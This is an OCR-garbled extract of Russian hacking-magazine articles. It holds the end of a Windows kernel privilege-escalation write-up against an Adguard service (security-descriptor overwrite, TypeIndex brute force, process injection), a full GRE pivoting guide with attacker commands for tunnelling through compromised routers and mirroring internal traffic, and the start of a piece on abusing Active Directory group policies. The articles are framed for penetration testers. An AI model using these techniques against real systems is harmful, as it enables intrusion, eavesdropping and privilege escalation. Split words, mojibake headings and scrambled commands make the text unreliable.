EPROECSS.Header.Lock

OBJECT_HEADER.
TypeIndex

В Windows 10  — это ука затель в таб лице 

,  с . Зна чение 
 нам, юзер модным экс плу ата торам, неиз вес тно. Зна чит, мы

не зна ем, чем его переза писы вать, исполь зуя при митив.

OBJECT_HEADER.TypeIndex nt!
ObTypeIndexTable ïîê ñîðåí íûé nt!ObHeaderCookie nt!
ObHeaderCookie

WWW

 — хорошая статья на тему TypeIndex
в раз ных вер сиях ОС.

A Light on Windows 10’s “OBJECT_HEADER-
>TypeIndex”

Та ким обра зом Windows пре дот вра щает ата ку через исполь зование фун кции
. Пов редив , мож но перех ватить управле -

ние в ядре. Более под робно читай в статье 
Ааро на Адам са.

ObfDereferenceObject() TypeIndex
CVE-2018-8611 Exploiting Windows

Ло мает ли это экс плу ата цию? Нет. Во-пер вых, кор рапт 
 не вывали вает Windows в BSOD. Мы все го лишь получим ошиб ку

при вызове  из юзер мода.

OBJECT_HEADER.
TypeIndex

CreateProcess()
Про ведем прос той экспе римент: откро ем , в WinDbg пов -

редим его  и поп робу ем открыть про цесс.

notepad.exe
TypeIndex

Ошиб ка при откры тии про цес са с пов режден ным
OBJECT_HEADER.TypeIndex

Те перь вос ста новим зна чение и поп робу ем сде лать это сно ва.

Ус пешное выпол нение коман ды

 — это все го лишь байт, зна чит, его мож но быс тро сбру тить —

исполь зуем при митив arbitrary write 16 bytes с новым 
 (но с тем же самым дес крип тором безопас ности) и про буем выз -

вать сле дующую фун кцию:

TypeIndex
OBJECT_HEADER.

TypeIndex

CreateProcess(PROCESS_ALL_ACCESS)

Ког да под берем нуж ное зна чение, нам вер нется хендл про цес са. Пос ле это го
сер висный про цесс ста новит ся пол ностью под кон троль ным, и мы можем
инжектить ся в него как угод но. Я буду делать это клас сичес кой ком бинаци ей

 + .WriteProcessMemory() CreateRemoteThread()
Це поч ка ата ки готова. Прой дем ся по ее шагам еще раз.

 Началь ное сос тояние. Пул FLT3 пус той. Сер висный про цесс

защищен стро гим дес крип тором безопас ности.

Øàã 0.

 Лика ем адрес в прос транс тве ядра FLT3 и EPROCESS AdguardSvc.exe.Øàã 1.

Важ ное при меча ние:  сли вает адре са

EPROCESS, и по одно му адре су не понять, какому юзер модно му про цес су он
при над лежит. Поэто му здесь исполь зуем эвристи ку:

SYSTEM_HANDLE_INFORMATION

со бира ем все EPROCESS пер вый раз;•
за пус каем сер вис, бла го эта опе рация дос тупна неп ривиле гиро ван ному
поль зовате лю. Стар тует про цесс ;

•
AdguardSvc.exe

со бира ем все EPROCESS вто рой раз;•
ищем раз ницу двух мно жеств, единс твен ный най ден ный EPROCESS будет
при над лежать .

•
AdguardSvc.exe

Едем даль ше.
 Через при митив записи в FLT3 заносим туда сла бый дес крип тор

безопас ности (DACL/SACL NULL). Пос коль ку адрес FLT3 нам известен из пре -
дыду щего шага, мы зна ем, по какому адре су ядра про изош ла запись.

Øàã 2.

Важ ное при меча ние:  в FLT3 — это четыре DWORD’а: 

. Их нуж но помес тить перед дес крип тором безопас ности, что бы

не получить BSOD с . Пред полагаю, что это слу жеб ная
инфа хип-менед жера.

Chunk NULL, 8, NULL,
NULL}

INVALID_REF_COUNT

 С помощью при мити ва arbitrary write 16 bytes переза писы ваем ука -

затель на дес крип тор безопас ности с исходно го на сла бый.

Øàã 3.

 Исполь зуя этот же при митив, брут форсим ,

пока не получим хендл сер висно го про цес са.

Øàã 4. OBJECT_HEADER.TypeIndex

 Инжектим ся в сер висный про цесс. Таким обра зом мы повыси ли при -

виле гии в сис теме. Код экс пло ита я опуб ликовал на .

Øàã 5.

сво ем GitHub

ÄÅÌÎÍÑÒÐÀÖÈß (ÂÈÄÅÎ)

Таймлайн

17.08.2022 — уяз вимость зарепор чена вен дору;•
17.08.2022 — вен дор взял репорт в работу;•
26.08.2022 — под твержде ние от вен дора, вып лата баг баун ти;•
24.10.2022 — ;• фикс в вер сии 7.11
27.01.2023 — пуб ликация.•

https://github.com/sam-b/windows_kernel_address_leaks
https://codemachine.com/articles/exfastref_pointers.html
https://learn.microsoft.com/en-us/windows/win32/secauthz/null-dacls-and-empty-dacls
https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
https://xakep.ru/2022/12/06/win-api-secrets/
https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a
https://research.nccgroup.com/2020/05/18/cve-2018-8611-exploiting-windows-ktm-part-4-5-from-race-win-to-kernel-read-and-write-primitive/
https://github.com/Marsel-marsel/CVE-2022-45770/blob/master/exploit.cpp
https://www.youtube.com/watch?v=Zc7jImfTkg4
https://adguard.com/en/versions/windows/release.html#version-71140780
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ВЗЛОМ

При нас трой ке средств защиты сетевое
обо рудо вание час то оста ется без вни -
мания адми нис тра торов, что повыша ет
веро ятность взло ма и получе ния кон тро ля
над такими устрой ства ми. Что, если зло -
умыш ленник уже добил ся кон тро ля
над пог ранич ным обо рудо вани ем? Смо -
жет ли он подоб рать ся к внут ренней
инфраструк туре?

Пи вотинг (от англий ско го pivoting, а не от сло ва «пиво») — это набор тех ник,
которые поз воля ют получить дос туп к внут ренним ресур сам, минуя сетевую
изо ляцию, сетевые средс тва защиты, фай рвол. Дос таточ но мно го было ска -
зано о про веде нии пивотин га через тра дици онные служ бы SSH, OVPN и дру -
гие. Но в сво ем иссле дова нии я про демонс три рую нет радици онные при емы
пивотин га сквозь пог ранич ное сетевое обо рудо вание с исполь зовани ем про -
токо ла GRE.

WARNING

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

GRE

GRE (Generic Routing Encapsulation) — это про токол инкапсу ляции сетевых IP-
пакетов, раз работан ный инже нера ми Cisco. В про дак шене он получил боль -
шую популяр ность, пос коль ку реша ет проб лемы соз дания VPN-каналов
для орга низа ций. GRE про водит инкапсу ляцию нап рямую в IP-пакет, минуя
тран спортный уро вень. Кста ти говоря, в кон тек сте IP-пакета у GRE есть свой
чис ловой иден тифика тор — . По сути, GRE не пре дос тавля ет никаких

средств защиты тун нелиру емых дан ных. Поэто му в про дак шене обыч но скре -
щива ют GRE и IPSec для обес печения безопас ности дан ных. В этой статье я
сов сем нем ного рас ска жу о GRE, что бы ты понимал, зачем он нам понадо бил -
ся.
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Прос той при мер GRE-тун неля

GRE-тун нелиро вание здесь под разуме вает три сущ ности:
Delivery Header. Пред став ляет собой IP-пакет с пуб личны ми адре сами
источни ка/наз начения. Бла года ря ему инкапсу лиро ван ный пакет смо жет
дос тичь адре сата в сети Интернет. Его раз мер — 20 байт;

•

GRE-пакет. Его раз мер — 4 бай та;•
пас сажир. Это полез ные дан ные, тра фик, сге нери рован ные легитим ными
служ бами.

•

Слу жеб ные заголов ки GRE

Струк тура GRE вер сии 0

У GRE есть две вер сии — 0 и 1. На кар тинке выше пред став лена струк тура
нулевой вер сии про токо ла GRE. Имен но она обыч но и исполь зует ся.
Как видишь, боль шинс тво заголов ков здесь опци ональ ные, то есть хра нимые
там зна чения есть не всег да и появ ляют ся лишь в спе цифич ных сце нари ях.
GRE так же носит иден тифика тор инкапсу лиру юще го про токо ла в заголов ке
Protocol Type. Под каж дый про токол есть свой иден тифика тор: нап ример,
для пакета IPv4 этот иден тифика тор равен .0x0800

Иден тифика тор IPv4-пакета внут ри GRE-заголов ка

WWW

Под робнее о GRE читай в .до кумен те RFC

ËÀÁÎÐÀÒÎÐÍÀß ÑÅÒÜ

В качес тве лабора тор ного стен да выс тупит сеть, изоб ражен ная на схе ме.

То поло гия лабора тор ной сети

Это типич ная кор поратив ная сеть с тре мя уров нями (уро вень дос тупа, рас пре -
деле ния и ядра). В качес тве динами чес кой мар шру тиза ции исполь зует ся про -
токол OSPF, для отка зоус той чивос ти дос тупнос ти шлю за — HSRP. Име ем
четыре ком мутато ра уров ня дос тупа и четыре сети VLAN со сво ей адре саци ей.
Так же под клю чен отдель ный ком мутатор уров ня рас пре деле ния, за ним сеть

.192.168.20.0/24
В качес тве Edge Router будут выс тупать Cisco CSR и Mikrotik CHR v. 6.49.6.
С ата кующей сто роны машина с Kali Linux и пуб личным IP-адре сом —

для при мера ата ки из интерне та. Пред положим, что ата кующий каким-то обра -
зом получил дос туп к панели управле ния пог ранич ным мар шру тиза тором, пос -
коль ку про демонс три ровать мы хотим пивотинг, а это, как извес тно, один
из шагов во вре мя пос тэкс плу ата ции.

L3 GRE VPN ÏÎÂÅÐÕ CISCO IOS

Про демонс три рую неболь шой при мер орга низа ции L3-тун неля во внут реннюю
сеть, которая находит ся за самим пог ранич ным роуте ром. Вооб ще, прин ципы
нас трой ки GRE не отли чают ся у всех вен доров сетево го обо рудо вания, воп рос
лишь в раз ном син такси се. Давай для начала пос мотрим, как нас тра ивать
Cisco.

Кон фигура ция GRE в Cisco IOS вклю чает сле дующее:
соз дание логичес кого интерфей са;•
ука зание режима, в котором будет работать тун нель (GRE);•
наз начение адре са на интерфейс (здесь возь мем адре са 
для Kali и  для Cisco CSR);

• 172.16.0.1

172.16.0.2

за дание адре са источни ка ;• 212.100.144.100

за дание адре са наз начения .• 100.132.55.100

EdgeGW(config)# interface tunnel 1
EdgeGW(config-if)# tunnel mode gre ip
EdgeGW(config-if)# ip address 172.16.0.2 255.255.255.0
EdgeGW(config-if)# tunnel source 212.100.144.100
EdgeGW(config-if)# tunnel destination 100.132.55.100

Те перь черед вто рой сто роны GRE-тун неля. В нашем слу чае этой «вто рой сто -
роной» будет хост ата кующе го. Linux прек расно под держи вает работу с GRE
при наличии необ ходимо го модуля ядра . А он есть поч ти вез де.ip_gre

Здесь шаги такие:
им порт модуля ядра;•
соз дание логичес кого интерфей са с ука зани ем типа, адре сов источни ка
и наз начения;

•

наз начение адре са на логичес ком интерфей се;•
вклю чение интерфей са.•

c4s73r@kali:~$ sudo modprobe ip_gre
ip gre c4s73r@kali:~$ sudo link add name evilgre type local 100.

132.55.100 remote 212.100.144.100
c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre

ip c4s73r@kali:~$ sudo link set evilgre up

Про верим работу тун неля через пинг до тун нель ного интерфей са Cisco CSR.

Пинг ата кующе го до вто рой сто роны тун неля

Пинг от Cisco CSR

Пос мотрим на таб лицу мар шру тиза ции, добавим некото рые мар шру ты до под -
сетей, что бы про верить дос тупность.

Таб лица мар шру тиза ции пог ранич ного роуте ра Cisco CSR

Про писы ваем мар шру ты до целевых под сетей. Адре сом шлю за в дан ном слу -
чае будет адрес логичес кого GRE-интерфей са роуте ра Cisco CSR — 

.

172.16.
0.2

c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.
0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.
255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.
255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.
255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.
255.0 gw 172.16.0.2

nmap   22 c4s73r@kali:~$ sudo -n -p -iL targets -oA result

Ре зуль таты ска ниро вания SSH внут ренней инфраструк туры

При мер но так будет выг лядеть пакет с инкапсу ляци ей, если ата кующий вза -
имо дей ству ет с внут ренней сетью (ICMP, на при мере внут ренней под сети наз -
начения 192.168.20.0/24).

L3 GRE VPN ÏÎÂÅÐÕ ROUTEROS

Те перь про демонс три рую при мер на обо рудо вании Mikrotik. Здесь абсо лют но
те же прин ципы нас трой ки, раз ница лишь в син такси се и иерар хии рас положе -
ния сущ ностей (интерфей сы, IP-адре сация и так далее).

INFO

Здесь при веде ны коман ды имен но для RouterOS
v. 6.

Соз даем логичес кий интерфейс GRE, наз нача ем ему адрес, про писы ваем
адрес уда лен ной сто роны:

no
[admin@EdgeGW] /interface/gre> add name=gre_pivoting remote-
address=100.132.55.100 allow-fast-path=
[admin@EdgeGW] /interface/address> add address=172.16.0.2 netmask=
255.255.255.0 interface=gre_pivoting

Сто рона ата кующе го. Все то же самое, что было в час ти про L3 VPN поверх
Cisco:

c4s73r@kali:~$ sudo modprobe ip_gre
ip gre c4s73r@kali:~$ sudo link add name evilgre type local 100.

132.55.100 remote 212.100.144.100
c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre

ip c4s73r@kali:~$ sudo link set evilgre up

Про верим работу тун неля GRE и ICMP:

[admin@EdgeGW] > ping 172.16.0.1

c4s73r@kali:~$ ping 172.16.0.2

Смот рим в таб лицу мар шру тиза ции  и добав ляем некото рые
мар шру ты для про вер ки сетевой связ ности.

/ip route print

c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.
0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.
255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.
255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.
255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.
255.0 gw 172.16.0.2

Про верим сетевую связ ность до хос тов этих под сетей. ICMP Ping Sweep.

Вот таким обра зом мож но обес печить L3 GRE тун нель на при мере Cisco IOS
и RouterOS. Одна ко в про дак шене встре чают ся раз ные сетевые инфраструк -
туры со спе цифи чес кими кон фигура циями обо рудо вания. Желатель но
перед пос тро ением GRE-тун неля пол ностью изу чить кон фигура цию мар шру -
тиза тора — вдруг даль нейше му про хож дению тра фика меша ет ACL или, нап -
ример, есть нуж да в анон сирова нии сети GRE-тун неля, если мы говорим
о динами чес кой мар шру тиза ции.

ÎÁÅÑÏÅ×ÅÍÈÅ ÒÓÍÍÅËß L2 GRE Ñ ÏÎÄÄÅÐÆÊÎÉ L2-ÀÒÀÊ

Для решения этой проб лемы сущес тву ет TAP-интерфейс. TAP — это вир туаль -
ный сетевой драй вер, он поз воля ет эму лиро вать Ethernet-устрой ство и работа -
ет на каналь ном уров не сети (L2), опе риру ет имен но Ethernet-кад рами. Сам
GRE отлично работа ет с TAP-интерфей сами: Ethernet-кадр будет инкапсу лиро -
ван в тун нель GRE, что, в свою оче редь, дает воз можность L2-дос тупа до цели.
Вооб ще, TAP-интерфей сы исполь зуют ся в про дак шене для соз дания сетевых
мос тов.

Сам тун нель L2 мы пос тро им поверх тун неля L3, то есть получит ся GRE over
GRE. Через тун нель L3 мы смо жем соз дать тун нель L2 до целевой машины
Relapse (пред полага ется, что ата кующий уже получил кон троль над ней). Эта
машина пред став ляет собой сер вер на Ubuntu 22.04 с дву мя интерфей сами.

На сто роне ата кующе го иден тичная ситу ация с нас трой кой GRE L3, одна ко
соз даем имен но интерфейс GRETAP.

c4s73r@kali:~$ sudo modprobe ip_gre
ip gre c4s73r@kali:~$ sudo link add name evilgretap type local 

172.16.0.1 remote 192.168.20.20
ip c4s73r@kali:~$ sudo link set evilgretap up

Сто рона целево го хос та. Выяс ним, что здесь с интерфей сами.

Ин терфей сы машины Relapse

Продолжение статьи →

mailto:c4s73r@protonmail.com
https://www.rfc-editor.org/rfc/rfc2784.html
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GRE-ПИВОТИНГ
ПОВЕРХ СЕТЕВОГО ОБОРУДОВАНИЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Схе ма пос тро ения тун неля L2

На машине Relapse два физичес ких интерфей са. Вто рой физичес кий
интерфейс  смот рит в некую под сеть, о которой мы не зна ли. Импорти -
руем модуль для работы с GRE, соз даем интерфейс GRETAP, соз даем сетевой
мост, куда мы помес тим сам GRE и тот физичес кий интерфейс.

eth1

c4s73r@Relapse:~$ sudo modprobe ip_gre
ip gre с4s73r@Relapse:~$ sudo link add name eviltap type local 

192.168.20.20 remote 172.16.0.1
c4s73r@Relapse:~$ sudo brctl addbr internal
c4s73r@Relapse:~$ sudo brctl addif internal eviltap
c4s73r@Relapse:~$ sudo brctl addif internal eth1

ip c4s73r@Relapse:~$ sudo link set internal up
1c4s73r@Relapse:~$ sudo sysctl -w net.ipv4.ip_forward=

За пус тим Wireshark на сто роне ата кующе го, на TAP-интерфей се.

В тра фике обна ружи ваем работу про токо лов STP и DTP, это говорит о том, что
мы сумели попасть в каналь ный сег мент.

Как видим в тра фике (Wireshark был запущен для интерфей са evilgretap),
добавил ся еще один заголо вок GRE. Его иден тифика тор равен , что

говорит о вза имо дей ствии GRE с Ethernet-мос том.

0x6558

Поп робу ем получить адрес по DHCP:

c4s73r@kali:~$ sudo dhclient -v evilgretap

По лучен ный по DHCP адрес

INFO

Во вре мя получе ния адре са по DHCP из TAP-
интерфей са воз можно добав ление дру гого мар -
шру та по умол чанию, который может нарушить
сетевую связ ность. Вни матель но изу чай свою
таб лицу мар шру тиза ции во вре мя траб лшу тин га
и уда ли, что нуж но, из таб лицы мар шру тиза ции.

Та ким обра зом, мы получа ем дос туп к L2-кон туру с машины Relapse и воз -
можность про водить L2-ата ки.

LLMNR/NBNS Poisoning

Взло ман ный пароль поль зовате ля user

ARP Spoong, part 1

ARP Spoong, part 2

ÂÎÇÌÎÆÍÛÅ ÏÐÎÁËÅÌÛ Ñ MTU

В компь ютер ной сети есть такое понятие, как MTU. Это спе циаль ный
параметр, который ука зыва ет на мак сималь ный раз мер полез ных дан ных
во вло жении. MTU есть и на физичес ком интерфей се, и на тун нель ном.
На физичес ком интерфей се без при мене ния Jumbo Frame мак сималь ный MTU
сос тавля ет 1500 байт, то есть толь ко 1500 байт мож но вло жить в Ethernet.

А что с GRE? Это ведь логичес кий интерфейс. MTU на тун нель ном
интерфей се GRE сос тавля ет 1476 байт. Такой MTU говорит толь ко о том, что
раз мер полез ных дан ных необ ходимо умень шить до 24 байт, что бы кадр про -
шел через тун нель ный интерфейс без выпол нения фраг мента ции.

По чему имен но 24 бай та? Потому что во вре мя воз никно вения GRE-
инкапсу ляции добав ляют ся два заголов ка:

Delivery Packet, он равен 20 бай там;•
GRE-заголо вок, равен 4 бай там.•

В слу чае L2 GRE over L3 GRE MTU на тун нель ном интерфей се вооб ще дол жен
быть 1472 бай та, пос коль ку занима ются 28 байт (из-за вто рого GRE-заголов -
ка).

Но на самом деле тун нель ный интерфейс GRE смо жет работать сог ласно
MTU физичес кого интерфей са, то есть переда вать полез ные дан ные
в Ethernet-кад ре раз мером 1500 байт вклю читель но.

При необ ходимос ти мож но уве личить MTU на тун нель ном интерфей се, если
воз ника ют задер жки и проб лемы с переда чей дан ных. Во вре мя уве личе ния
MTU тун нель ного интерфей са переда ваемые IP-пакеты будут под вергать ся
фраг мента ции, пос коль ку сам интерфейс GRE поз воля ет про пус кать через
себя боль ше дан ных раз мером 1476 байт. Одна ко фраг мента ции может
помешать спе циаль ный DF-бит в IP-пакете. Этот бит в прин ципе зап реща ет
фраг мента цию пакета.

Для Cisco IOS:

PWNED(config)# interface tunnel X
PWNED(config-if)# ip mtu 1514

Для RouterOS v. 6:

1514 [admin@EdgeGW] /interface gre> set mtu= name=gre_pivoting

До повыше ния MTU ори гиналь ный пакет (пас сажир) упи рал ся бы в 1476 байт,
а пакет может быть и не фраг менти рован из-за спе циаль ного DF-бита,
который зап реща ет фраг мента цию IP-пакета. Но пос ле повыше ния MTU ори -
гиналь ный пакет не будет упи рать ся в это огра ниче ние, а фраг менти ровать ся
нач нет вто рой IP-пакет (Delivery Packet), который здесь из-за GRE-инкапсу -
ляции, а у это го Delivery Packet DF-бита нет.

WWW

Ес ли ты впер вые стал кива ешь ся с темой MTU,
она может ока зать ся слож ной для понима ния.
Поэто му рекомен дую разоб рать ся под робнее.

 (Wikipedia)•Maximum transmission unit
 (блог Cloudare)•What is MTU?

(YouTube)
•Network Basics — Maximum Transmission Unit

ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ Ñ ÏÎÌÎÙÜÞ CISCO ERSPAN

ERSPAN (Encapsulated Remote Switch Port Analyzer) — это фун кция зер калиро -
вания тра фика, одна ко, в отли чие от SPAN/RSPAN, она может переда вать зер -
калиро ван ный тра фик поверх канала L3. Кста ти говоря, она так же исполь зует
про токол инкапсу ляции GRE для переда чи дан ных поверх L3-соеди нений.
Этим может вос поль зовать ся ата кующий и про ана лизи ровать тра фик внут -
ренней инфраструк туры в поис ках чувс тви тель ных дан ных либо узнать осо бен -
ности инфраструк туры. ERSPAN — это проп риетар ная раз работ ка Cisco, поэто -
му про демонс три рую вари ант перех вата тра фика имен но на обо рудо вании
Cisco.

Я буду зер калиро вать тра фик с интерфей са  на IP-адрес  —

это адрес тун нель ного интерфей са GRE сис темы ата кующе го. Прис тупим
к кон фигура ции. Основные парамет ры здесь:

gi2 172.16.0.1

иден тифика тор сес сии ERSPAN;•
ин терфейс источни ка;•
ука зание ERSPAN ID;•
IP-адрес, куда будет отправ лять ся зер калиро ван ный тра фик;•
IP-адрес источни ка зер калиро ван ного тра фика;•
MTU (1900).•

CSR(config)#monitor session 337 type erspan-source
CSR(config-mon-erspan-src)#source interface gigabitEthernet 2
CSR(config-mon-erspan-src)#no shutdown
CSR(config-mon-erspan-src)#destination
CSR(config-mon-erspan-src-dst)#erspan-id 337
CSR(config-mon-erspan-src-dst)#ip address 172.16.0.1
CSR(config-mon-erspan-src-dst)#origin ip address 172.16.0.2
CSR(config-mon-erspan-src-dst)#mtu 1900
CSR(config-mon-erspan-src-dst)#end

На этом кон фигура ция закон чена. Мож но прис тупить к ана лизу тра фика
на нашем интерфей се GRE.

Пе рех вачен ный тра фик OSPF

Пос ле кон фигура ции ERSPAN мы перех ватыва ем весь тра фик с интерфей са
. Нап ример, в дам пе тра фика запечат лено наличие про токо ла OSPF. Обра -

тив вни мание на заголов ки, видим, что сре ди них есть заголо вок ERSPAN. То
есть ори гиналь ный тра фик, который был зер калиро ван для отправ ки до адре -
сата, был раз вернут в тун нель GRE с исполь зовани ем ERSPAN-инкапсу ляции.

gi2

Еще один при мер — перех вачен ный ICMP-тра фик. Видимо, внут ри
инфраструк туры шли пин ги до сетево го обо рудо вания. В тра фике может быть
все что угод но, но мы оста новим ся на этих при мерах.

Пе рех вачен ный ICMP-тра фик

ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ Ñ ÏÎÌÎÙÜÞ TZSP (MIKROTIK)

Про токол TZSP (TaZmen Sniffer Protocol) — ана лог про токо ла ERSPAN. Здесь
абсо лют но те же самые фун кции. TZSP может переда вать зер калиро ван ный
тра фик поверх L3-канала и обыч но исполь зует ся в инс тру мен те Packet Sniffer
внут ри RouterOS.

Пе рехо дим в раз дел кон фигура ции Packet Sniffer, рас положен ный в меню
Tools, и нас тра иваем сле дующие парамет ры:

 — акти виру ет работу сниф фера;• streaming-enabled

 — IP-адрес, куда будет отправ лять ся зер калиро ван -
ный тра фик;

• streaming-server

 — интерфей сы источни ка, отку да будет дуб лировать -
ся тра фик;

• filter-interface

 — cниф фер будет работать сог ласно полити ке филь тров.• filter-stream

[admin@EdgeGW] > /tool sniffer
[admin@EdgeGW] /tool sniffer> set streaming-enabled=yes streaming-
server=172.16.0.1 filter-interface=ether1,ether2 filter-stream=yes
[admin@EdgeGW] /tool sniffer> start

Пе рех вачен ный с помощью TZSP OSPF-тра фик

ÂÛÂÎÄÛ

При мер но такими спо соба ми мож но вос поль зовать ся для пивотин га внутрь
инфраструк туры или поверх сетево го обо рудо вания. Наде юсь, моя работа
подарит пен тесте рам и ред тимерам новый полез ный при ем. Глав ное здесь —
про токол GRE, который пре дос тавля ет могучие воз можнос ти как сетевым
инже нерам, так и спе циалис там по тес тирова нию на про ник новение.

https://ru.wikipedia.org/wiki/Maximum_transmission_unit
https://www.cloudflare.com/learning/network-layer/what-is-mtu/
https://www.youtube.com/watch?v=LeaEmOUVEn0


ЖэПэО

ЭКСПЛУАТИРУЕМ
НЕБЕЗОПАСНЫЕ ГРУППОВЫЕ

ПОЛИТИКИ

MichelleVermishelle
michael.zhmailo@yandex.ru

ВЗЛОМ

Ос новная при чина успе ха боль шинс тва
взло мов, будь то пен тест или реаль ное
про ник новение зло умыш ленни ков, —
это допущен ные адми нис тра тора ми
ошиб ки в нас трой ках и кон фигура ции.
Сегод ня мы погово рим о спо собах экс плу -
ата ции небезо пас ных груп повых политик
в сетях Active Directory.

WARNING

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÑÒÐÓÊÒÓÐÀ

Груп повые полити ки исполь зуют ся пов семес тно. Это удоб ный инс тру мент,
поз воля ющий сис темным адми нис тра торам управлять нас трой ками кли ент ских
сис тем в домене. Сама «архи тек тура» груп повых политик — кли ент-сер верная.
Чаще все го кон трол лер домена выс тупа ет в роли сер вера, на котором соз -
дают ся, нас тра ивают ся и изме няют ся полити ки, а домен ные компь юте ры,
поль зовате ли и иные объ екты в AD — кли енты, которые эти самые полити ки
получа ют и при меня ют.

Груп повая полити ка называ ется Group Policy Object (GPO). Внут ри каж дой
GPO есть две сущ ности:

Group Policy Container — спе циаль ный объ ект, который име ет иден тифика -
тор GUID, обоз нача ющий груп повую полити ку. Находит ся в 

;

•
CN=Policies,

CN=System

Group Policy Template — фай лы  и , поз воля ющие с помощью
GPO управлять объ екта ми в AD.

• .ADMX .ADML

GPO при меня ется к Organizational Units (орга низа цион ным еди ницам). Мож но
счи тать это некой пап кой, в которой находят ся поль зовате ли, компь юте ры
и дру гие объ екты.

Из началь но в толь ко что соз данном домене будут две полити ки:
Default Domain Policy — наз нача ется текуще му домену;•
Default Domain Controller’s Policy — наз нача ется OU, в сос тав которо го вхо -
дит кон трол лер домена. По умол чанию имя этой OU — 

.

•
Domain

Controllers

А теперь зай дем в ADUC и уви дим, что нарав не с OU в домене сущес тву ют
и кон тей неры.

Кон тей неры — это лишь допол нитель ные объ екты, поз воля ющие орга низо вать
струк туру AD. К кон тей неру нель зя при вязать GPO. Что бы при менить GPO
к кон тей неру, сна чала сле дует добавить его в соот ветс тву ющую OU и уже к ней
при вязы вать GPO.

GPO рас простра няет ся по сети через общий сетевой ресурс ,

который хра нит ся на кон трол лере домена. Все поль зовате ли в домене обыч но
име ют к нему дос туп и пери оди чес ки син хро низи руют ся для обновле ния нас -
тро ек сво их объ ектов груп повой полити ки. Общий ресурс  по умол -

чанию ука зыва ет на каталог  на кон трол лере
домена.

SYSVOL

SYSVOL
C:\Windows\SYSVOL\sysvol\

Для син хро низа ции нуж но вре мя. Иног да на обновле ние нас тро ек может
уйти до двух часов. Если нам тре бует ся немед ленная син хро низа ция, то
на компь юте ре надо ввес ти коман ду

gpupdate /force

С GPO могут быть свя заны какие-либо пра ва. Нап ример, поль зователь
 име ет пра во  на полити ку . Неп равиль ная

нас трой ка таких прав при водит к появ лению век торов экс плу ата ции, которые
мы рас смот рим в сегод няшней статье.

Admin11111 GenericAll UsersInfo

ÎÁÍÀÐÓÆÅÍÈÅ

Об наружить дос тупные GPO мож но сле дующим обра зом:

ls \\<домен>\SYSVOL\<домен>\Policies\

В резуль тате мы получим GUID всех дос тупных политик.
Ес ли у нас есть дос туп к Active Directory Module, то смо жем получить

информа цию вот так:

Get-ADObject -LDAPFilter "(ObjectClass=GroupPolicyContainer)" 
-Properties Name, DisplayName,gPCFileSysPath | select Name, 
DisplayName,GPCFileSysPath | Format-List

На конец, PowerView име ет такую же фун кци ональ ность:

Get-NetGpo

Те перь желатель но из GUID получить имя полити ки. Конеч но, AD Module
и PowerView уме ют делать это самос тоятель но, но в слу чае, если у нас есть
толь ко GUID, имя мож но получить сле дующим обра зом:

# RSAT
    Get-Gpo -GUID '{205F0E03-17C3-4E9B-925E-330FAD565CA1}'

# PowerView v3
 

 | 
   Get-DomainGPO -Identity '{

205F0E03-17C3-4E9B-925E-330FAD565CA1}' select DisplayName

Мы так же можем изу чить полити ки, при вязан ные к опре делен ному устрой ству:

# PowerView v2
   Get-NetGPO -ComputerName name.domain.com

# PowerView v3
   Get-DomainGPO -ComputerIdentity name.domain.com -Properties 

Name, DisplayName

На конец, самое инте рес ное. Пора изу чать все ACL на най ден ные GPO, пыта -
ясь най ти мис конфиг. Сде лать это мож но с помощью раз ных средств. Чаще
все го исполь зуют ся или BloodHound, или PowerView:

# PowerView v2
   # Получение ACL на все политики
       Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

   # Найти GPO, на которые пользователь student имеет права
       Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 

| ?{$_.IdentityReference -match "student"}

Поль зователь  име ет подоз ритель но высокие пра ва на GPO с GUID 
. PowerView треть ей вер сии (он же

PowerView DEV) не отста ет от сво его млад шего соб рата, но отли чает ся тем, что
не уме ет авто мати чес ки пре обра зовы вать SID в понят ное для челове ка имя
поль зовате ля, поэто му в конец каж дого коман дле та добав ляет ся огромная
стро ка:

vaska {
31B2F340-016D-11D2-945F-00C04FB984F9}

# PowerView v3
   # Находим ACL на все политики
   Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | 

Foreach-Object {$_ | Add-Member -NotePropertyName Identity 
-NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) 
-Force; $_}

   # Находим GPO, на которые у пользователя domain\user есть 
права
       Get-DomainGPO|Get-DomainObjectAcl -ResolveGUIDs | 

Foreach-Object {$_ | Add-Member -NotePropertyName Identity 
